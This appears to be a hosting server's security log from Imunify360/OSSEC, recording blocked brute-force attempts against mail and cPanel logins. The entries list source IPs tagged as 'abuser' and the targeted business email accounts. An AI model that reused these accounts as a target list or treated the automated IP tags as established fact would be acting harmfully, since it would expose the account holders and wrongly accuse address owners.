2026-01-30 14:01:27 dovecot_login authenticator failed for H=(VOGYN82b) [185.230.124.69]:65165: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 14:01:51 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:57924: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.25.251.244
country_id: 1210997
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/2259631427.jpg&size=1000x1000 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:01:16 dovecot_login authenticator failed for H=(f6GdsUJ0a) [178.16.54.22]:51803: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:01:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 14:01:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:53761: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:02:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-01-30 14:02:09 dovecot_login authenticator failed for H=([65.20.205.197]) [65.20.205.197]:36347: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.229.157.48
country_id: 1605651
description:
2026-01-30 14:02:07 dovecot_login authenticator failed for H=([49.229.157.48]) [49.229.157.48]:39610: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:02:09 dovecot_login authenticator failed for H=(Yvriwduq) [185.230.124.69]:54956: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.251.22.198
country_id: 1269750
description:
2026-01-30 14:02:23 dovecot_login authenticator failed for H=([117.251.22.198]) [117.251.22.198]:49895: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:02:28 dovecot_login authenticator failed for H=(BBHCFrpCQ) [178.16.54.22]:49924: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:02:12 dovecot_login authenticator failed for H=(SuFaL0unuq) [185.230.124.69]:55094: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.234.22.83
country_id: 1880251
description:
[2026-01-30 14:02:39 +0800] info [cpaneld] 110.234.22.83 - manforce "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.17.233.246
country_id: 1269750
description:
2026-01-30 14:02:39 dovecot_login authenticator failed for H=([125.17.236.223]) [125.17.233.246]:42418: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:03:15 dovecot_login authenticator failed for H=(GNtSlkrdhd) [185.230.124.69]:60457: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:03:02 dovecot_login authenticator failed for H=(SAfBkhlqk) [178.16.54.22]:56055: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:04:08 dovecot_login authenticator failed for H=(rjzBaI) [178.16.54.22]:65417: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 14:04:14 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:35034: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:04:21 dovecot_login authenticator failed for H=(h70hYh) [185.230.124.69]:62338: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


